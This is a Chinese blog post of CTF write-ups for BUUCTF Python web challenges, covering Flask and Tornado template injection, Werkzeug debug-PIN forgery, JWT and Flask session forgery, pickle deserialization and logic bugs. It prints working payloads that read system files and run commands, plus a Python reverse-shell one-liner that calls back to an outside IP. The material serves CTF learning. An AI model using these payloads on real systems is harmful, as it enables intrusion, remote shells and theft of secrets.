文章归档

置顶文章

Web安全

Web安全基础

PHP相关

Writeups

靶机系列

HackTheBox

VulnHub

代码审计

PHP代码审计

流量分析

机器学习

基础学习

Python

Python编程

Java

Java编程

算法

Leetcode

随笔

经验

技术

 2020-08-18   3.8k

BUUCTF刷题——Python

GYCTF2020 flaskapp

考点

解题

打开题目有一个hint界面,查看源码

意思应该是去伪造Flask pin然后执行命令。

先来验证一下:

1
{{().__class__.__bases__[0].__subclasses__()[0].__init__}}

然后还要找到一个读文件的payload,发现eval不能用,用open可以读

1
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']("/etc/passwd").read()}}

接下来就是要获取6个关键参数

1
2
3
4
5
6
7
8
9
10
11
username # 用户名

modname # flask.app

getattr(app, '__name__', getattr(app.__class__, '__name__')) # Flask

getattr(mod, '__file__', None) # flask目录下的一个app.py的绝对路径

uuid.getnode() # mac地址十进制

get_machine_id() # /etc/machine-id

第一个用户名可以通过/etc/passwd得到,即flaskweb

第二个modname一般都是默认的flask.app

第三个也是默认的Flask

第四个是app.py的绝对路径,可以直接通过报错来获取

第四个mac地址如果在真实环境是从/etc/machine-id文件读取,如果是在docker下,是从/sys/class/net/eth0/address目录下读取,转换成十进制2485410468126

转换地址:https://www.vultr.com/resources/mac-converter/

第五个通过读取/proc/self/cgroup获取machine-id:1408f836b0ca514d796cbf8960e45fa1

然后再上脚本跑出PIN码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#脚本出处:https://xz.aliyun.com/t/2553
import hashlib
from itertools import chain
probably_public_bits = [
'flaskweb',# username
'flask.app',
'Flask',
'/usr/local/lib/python3.7/site-packages/flask/app.py'
]

private_bits = [
'2485377957891',# address
'e96996169e90130c1b6e2b3fb9af5b39abcacc1b1f84211a58e27854c3a1219e'# machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

system好像被禁用了,换成popen函数

RootersCTF2019 I_❤️_Flask

CSCCTF 2019 Qual FlaskLight

pasecactf_2019 flask_ssti

CISCN2019 华北赛区 Web2 ikun

考点

  • 逻辑漏洞
  • JWT伪造
  • pickle反序列化

解题

python脚本寻找LV6商品所在页面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests

url = "http://4186a81c-5092-4d1c-b2c3-6d753ef436c7.node3.buuoj.cn/shop?page={}"
cookies = {
"_xsrf": "2|9abd3196|175f180123b348c52281c861b9ea6ba9|1593758159",
"JWT": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImNhMDFoIn0.xjww69DlZAtZw_26KzwvCZc"
"-WhNxACW3PuvxHlQQ2yg",
"commodity_id": "2|1:0|10:1593758858|12:commodity_id|4:Nw"
"==|42eb3fadf203ceac3f14f89b8e7a575d5350b31a29c08f6a939d099435027244 "
}

for i in range(1, 501):
rq = requests.get(url=url.format(i), cookies=cookies)
if "/static/img/lv/lv6.png" in rq.text:
print(url.format(i))

跑出来的结果是page=181

但是看到这个价格很显然是要通过某种漏洞来购买,先抓包,看到参数后想到两种办法,一是直接改价格,二是改折扣。

尝试之后发现改价格没有用,改折扣提示不是admin

这个地方就很自然想到要越权,修改密码处没有逻辑漏洞,但是Cookie中包含JWT,放到jwt.io网址上解析后:

如果想要伪造一个admin的JWT需要知道secret。感觉这个地方就有点脑洞了,要用工具去爆破,我还找了很久的注入点。

再去伪造admin的JWT

更改cookie的值

查看个人中心,出现了一个hint

1
\u8fd9\u7f51\u7ad9\u4e0d\u4ec5\u53ef\u4ee5\u4ee5\u8585\u7f8a\u6bdb\uff0c\u6211\u8fd8\u7559\u4e86\u4e2a\u540e\u95e8\uff0c\u5c31\u85cf\u5728\u006c\u0076\u0036\u91cc

查看源码发现源码包:

题目提示了pickle,直接全局搜索,Admin.py有pickle反序列化漏洞

利用脚本生成payload:

1
2
3
4
5
6
7
8
9
10
import pickle
import urllib

class payload(object):
def __reduce__(self):
return (eval, ("open('/flag.txt','r').read()",))

a = pickle.dumps(payload())
a = urllib.quote(a)
print a

将生成的payload放到隐藏的输入框里,只需将hidden="hidden"删除即可。

SUCTF 2019 Pythonginx

WesternCTF2018 shring

考点

解题

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')


@app.route('/')
def index():
return open(__file__).read()


@app.route('/shrine/<path:shrine>')
def shrine(shrine):

def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

return flask.render_template_string(safe_jinja(shrine))


if __name__ == '__main__':
app.run(debug=True)

TODO

护网杯2018 easy_tornado

考点

  • tornado 模板注入

解题

这道题很重要的一个地方就是观察url

1
http://65cdf038-1123-4f28-aedb-3369e8c68049.node3.buuoj.cn/file?filename=/hints.txt&filehash=eca90b16e91faf8d52c04e7ef7e7a8fc

并且filehash=md5(cookie_secret+md5(filename)),所以要找到cookie_secret的值。

当不输入filehash参数的时候,url是这样的:

1
http://65cdf038-1123-4f28-aedb-3369e8c68049.node3.buuoj.cn/error?msg=Error

并且页面回显Error,这个就需要比较敏感的注意到这里是模板注入的点。

参考文章用的就是handler.settings对象

handler 指向RequestHandler,而RequestHandler.settings又指向self.application.settings,所有handler.settings就指向RequestHandler.application.settings了。

所以传递error?msg={{ handler.settings }}得到cookie_secret。

HCTF 2018 Hideandseek

TODO

[CISCN2019 总决赛 Day1 Web3]Flask Message Board

TODO

HCTF2018 Admin

出题人writeup:https://www.ckj123.com/?p=147

考点

  • Flask Session伪造
  • Unicode欺骗
  • 条件竞争

解题

方法一 Unicode编码欺骗

结合改密码的功能,看一下change函数

1
2
3
4
5
6
7
8
9
10
11
12
def change():
if not current_user.is_authenticated:
return redirect(url_for('login'))
form = NewpasswordForm()
if request.method == 'POST':
name = strlower(session['name'])
user = User.query.filter_by(username=name).first()
user.set_password(form.newpassword.data)
db.session.commit()
flash('change successful')
return redirect(url_for('index'))
return render_template('change.html', title = 'change', form = form)

其中第6行的strlower是自己封装的一个函数,并没有使用Python的库函数:

1
2
3
def strlower(username):
username = nodeprep.prepare(username)
return username

其中 nodeprep 来自 twisted.words.protocols.jabber.xmpp_stringprep

并且在注册和登录的代码中都使用了这个函数,所以不能用ADMIN绕过。

这里有一篇文章讲到了nodeprep关于Unicode编码的问题:

https://tw.saowen.com/a/72b7816b29ef30533882a07a4e1040f696b01e7888d60255ab89d37cf2f18f3e

使用两次nodeprep.prepare函数会进行如下操作:

1
ᴬ -> A -> a

Unicode —> 中文:https://tool.chinaz.com/tools/unicode.aspx

即第一次将其转换为大写,第二次将其转换为小写。

思路:

  • 注册用户ᴬdmin
  • 登录用户ᴬdmin,变成Admin
  • 修改密码Admin,更改了admin的密码

方法二 Flask session 伪造

原理:https://www.leavesongs.com/PENETRATION/client-session-security.html

工具:https://github.com/noraj/flask-session-cookie-manager

修改nameadmin

1
{'_fresh': True, '_id': b'6604bc7a9890f6bf08233451da34826f785818ecb989720b4c7e7aa4f22105e0b28a5122c9e9b490f8c9609baa8efab128409afc0a7ce5ba93ccd50994d78d37', 'csrf_token': b'135d7b0b615153fd276627d995e71a0026f75bb3', 'image': b'mwPn', 'name': 'admin', 'user_id': '10'}

再对其进行encode操作:

更改cookie的值:

提交更改,刷新页面,成功获取flag~

方法三 条件竞争

https://tmr.js.org/p/3a03e44b/

不由的感叹这些人的脑子怎么这么好使。。。😂

BJDCTF 2nd fake google

考点

  • Flask SSTI 文件读取

解题

这道题就是比较明显的Flask 模板注入漏洞了,也没有什么绕过,直接上payload:

1
?name={%%20for%20c%20in%20[].__class__.__base__.__subclasses__()%20%}{%%20if%20c.__name__==%27catch_warnings%27%20%}{{%20c.__init__.__globals__[%27__builtins__%27].eval("__import__(%27os%27).popen(%27cat%20/flag%27).read()")%20}}{%%20endif%20%}{%%20endfor%20%}

考点

  • Python Twig模板注入

解题

和上题一样是模板注入,不过注入点在Cookie里

渲染引擎也换成了基于Python的Twig

从网上找到的 Twig poc

1
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

V&N公开赛 CheckIn

考点

  • 反弹shell
  • 文件描述符

解题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from flask import Flask, request
import os
app = Flask(__name__)

flag_file = open("flag.txt", "r")
# flag = flag_file.read()
# flag_file.close()
#
# @app.route('/flag')
# def flag():
# return flag
## want flag? naive!

# You will never find the thing you want:) I think
@app.route('/shell')
def shell():
os.system("rm -f flag.txt")
exec_cmd = request.args.get('c')
os.system(exec_cmd)
return "1"

@app.route('/')
def source():
return open("app.py","r").read()

if __name__ == "__main__":
app.run(host='0.0.0.0')

shell路由可以执行命令,但是在执行命令之前flag.txt已经被删除了,并且不能回显命令执行的结果。

首先肯定是想到反弹一个shell,用BUU小号开一个Linux主机,尝试有bash、curl、nc、python -c等,但是这里测试后发现这些常用的命令都被禁了,无法反弹Shell。最后再换成python3就可以成功反弹shell:

1
http://bc5fa49b-316a-47e1-8737-20050c013abe.node3.buuoj.cn/shell?c=python3%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22174.2.25.118%22,4444));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/sh%22,%22-i%22]);%27

接下来的一个考点就是通过文件描述符来恢复文件。

什么是文件描述符

例如Python中,当我们open()函数打开一个文件时便创建了一个文件描述符,而后对这个文件描述符使用read()函数便是读取文件描述符中的内容,close()函数用于关闭/销毁这个文件描述符。

文件描述符储存在什么地方:

/proc/<pid>/fd/<id>

查看/proc目录下的进程号

查看进程号等于10下面的fd目录

文件描述符等于3即为flag文件

CISCN2019 华东南赛区 Double Secret

考点

  • 模板注入
  • RC4加密

解题

扫目录得到secret,访问提示要有secret参数,Fuzz一下发现报错

1
2
3
4
5
6
7
8
9
File "/app/app.py", line 35, in secret
if(secret==None):
return 'Tell me your secret.I will encrypt it so others can\'t see'
rc=rc4_Modified.RC4("HereIsTreasure") #解密
deS=rc.do_crypt(secret)
a=render_template_string(safe(deS))
if 'ciscn' in a.lower():
return 'flag detected!'
return a

如果你传入了参数,那么它就会进行加密,可以看到是RC4加密,而且还泄露了密钥,密钥就是“HereIsTreasure”,而且通过报错,我们了解到这是flask的模板,而且python的版本是2.7的,那么我们可以利用flask的模板注入,执行命令,只不过需要进行RC4加密。

RC4加密脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import base64
from urllib.parse import quote
def rc4_main(key = "init_key", message = "init_message"):
# print("RC4加密主函数")
s_box = rc4_init_sbox(key)
crypt = str(rc4_excrypt(message, s_box))
return crypt
def rc4_init_sbox(key):
s_box = list(range(256))
# print("原来的 s 盒:%s" % s_box)
j = 0
for i in range(256):
j = (j + s_box[i] + ord(key[i % len(key)])) % 256
s_box[i], s_box[j] = s_box[j], s_box[i]
# print("混乱后的 s 盒:%s"% s_box)
return s_box
def rc4_excrypt(plain, box):
# print("调用加密程序成功。")
res = []
i = j = 0
for s in plain:
i = (i + 1) % 256
j = (j + box[i]) % 256
box[i], box[j] = box[j], box[i]
t = (box[i] + box[j]) % 256
k = box[t]
res.append(chr(ord(s) ^ k))
cipher = "".join(res)
print("加密后的字符串是:%s" %quote(cipher))
return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))
rc4_main("HereIsTreasure","{{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/flag.txt').read()}}")

得到加密后的payload后传入,拿到flag。

GXYCTF2019 Strongest Mind

考点

  • Python脚本

解题

注意Session的使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from requests import *
import re
import time
import requests

url = "http://7a9216ad-bfec-45c5-a89e-71e8190e8299.node3.buuoj.cn/"
s = requests.session()
a = s.get(url)
pattern = re.findall(r'\d+.[+-].\d+', a.text)
c = eval(pattern[0])
a = s.post(url, data={"answer": c})
for i in range(1000):
time.sleep(0.1)
pattern = re.findall(r'\d+.[+-].\d+', a.text)
c = eval(pattern[0])
print(c)
a = s.post(url, data={"answer": c})
print(a.content)

DDCTF2019 homebrew event loop

考点

  • 逻辑漏洞
  • flask session

解题

详细wp:https://blog.cindemor.com/post/ctf-web-16.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
from flask import Flask, session, request, Response
import urllib

app = Flask(__name__)
app.secret_key = '*********************' # censored
url_prefix = '/d5afe1f66147e857'


def FLAG():
return '*********************' # censored


def trigger_event(event):
# event = ['action:buy;5', 'action:get_flag;']
session['log'].append(event)
if len(session['log']) > 5:
session['log'] = session['log'][-5:]
if type(event) == type([]):
request.event_queue += event
else:
request.event_queue.append(event)


def get_mid_str(haystack, prefix, postfix=None):
# haystack = action:trigger_event%23;action:buy;5%23action:get_flag;
# prefix = trigger_event%23;
haystack = haystack[haystack.find(prefix)+len(prefix):]
if postfix is not None:
haystack = haystack[:haystack.find(postfix)]
return haystack


class RollBackException:
pass


def execute_event_loop():
valid_event_chars = set(
'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')
resp = None
while len(request.event_queue) > 0:
# `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"
event = request.event_queue[0]
request.event_queue = request.event_queue[1:]
if not event.startswith(('action:', 'func:')):
continue
for c in event:
if c not in valid_event_chars:
break
else:
# event = action:trigger_event%23;action:buy;5%23action:get_flag;
is_action = event[0] == 'a'
# action = trigger_event%23
action = get_mid_str(event, ':', ';')
# args = ['action:buy;5', 'action:get_flag;']
args = get_mid_str(event, action+';').split('#')
try:
event_handler = eval(
# event_handler = trigger_event#_handler
action + ('_handler' if is_action else '_function'))
# ret_val = trigger_event(['action:buy;5', 'action:get_flag;'])
ret_val = event_handler(args)
except RollBackException:
if resp is None:
resp = ''
resp += 'ERROR! All transactions have been cancelled. <br />'
resp += '<a href="./?action:view;index">Go back to index.html</a><br />'
session['num_items'] = request.prev_session['num_items']
session['points'] = request.prev_session['points']
break
except Exception, e:
if resp is None:
resp = ''
# resp += str(e) # only for debugging
continue
if ret_val is not None:
if resp is None:
resp = ret_val
else:
resp += ret_val
if resp is None or resp == '':
resp = ('404 NOT FOUND', 404)
session.modified = True
return resp


@app.route(url_prefix+'/')
def entry_point():
querystring = urllib.unquote(request.query_string)
request.event_queue = []
if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100:
querystring = 'action:index;False#False'
if 'num_items' not in session:
session['num_items'] = 0
session['points'] = 3
session['log'] = []
request.prev_session = dict(session)
trigger_event(querystring)
return execute_event_loop()

# handlers/functions below --------------------------------------


def view_handler(args):
page = args[0]
html = ''
html += '[INFO] you have {} diamonds, {} points now.<br />'.format(
session['num_items'], session['points'])
if page == 'index':
html += '<a href="./?action:index;True%23False">View source code</a><br />'
html += '<a href="./?action:view;shop">Go to e-shop</a><br />'
html += '<a href="./?action:view;reset">Reset</a><br />'
elif page == 'shop':
html += '<a href="./?action:buy;1">Buy a diamond (1 point)</a><br />'
elif page == 'reset':
del session['num_items']
html += 'Session reset.<br />'
html += '<a href="./?action:view;index">Go back to index.html</a><br />'
return html


def index_handler(args):
bool_show_source = str(args[0])
bool_download_source = str(args[1])
if bool_show_source == 'True':

source = open('eventLoop.py', 'r')
html = ''
if bool_download_source != 'True':
html += '<a href="./?action:index;True%23True">Download this .py file</a><br />'
html += '<a href="./?action:view;index">Go back to index.html</a><br />'

for line in source:
if bool_download_source != 'True':
html += line.replace('&', '&amp;').replace('\t', '&nbsp;'*4).replace(
' ', '&nbsp;').replace('<', '&lt;').replace('>', '&gt;').replace('\n', '<br />')
else:
html += line
source.close()

if bool_download_source == 'True':
headers = {}
headers['Content-Type'] = 'text/plain'
headers['Content-Disposition'] = 'attachment; filename=serve.py'
return Response(html, headers=headers)
else:
return html
else:
trigger_event('action:view;index')


def buy_handler(args):
num_items = int(args[0])
if num_items <= 0:
return 'invalid number({}) of diamonds to buy<br />'.format(args[0])
session['num_items'] += num_items
trigger_event(['func:consume_point;{}'.format(
num_items), 'action:view;index'])


def consume_point_function(args):
point_to_consume = int(args[0])
if session['points'] < point_to_consume:
raise RollBackException()
session['points'] -= point_to_consume


def show_flag_function(args):
flag = args[0]
# return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it.
return 'You naughty boy! ;) <br />'


def get_flag_handler(args):
if session['num_items'] >= 5:
# show_flag_function has been disabled, no worries
trigger_event('func:show_flag;' + FLAG())
trigger_event('action:view;index')


if __name__ == '__main__':
app.run(debug=False, host='0.0.0.0')

payload:

1
action:trigger_event%23;action:buy;5%23action:get_flag;

进入队列的顺序:

1
2
3
4
5
6
7
action:trigger_event#;action:buy;5#action:get_flag;
action:buy;5
action:get_flag;
func:consume_point;5
action:view;index
func:show_flag;`FLAG()`
action:view;index

日志写入的顺序:

1
2
3
4
5
action:trigger_event#;action:buy;5#action:get_flag;
['action:buy;5','action:get_flag;']
['func:consume_point;5','action:view;index']
func:show_flag;`FLAG()`
action:view;index

拿到flask session后解密

Copyright © ca01h 2019-2020 | 本站总访问量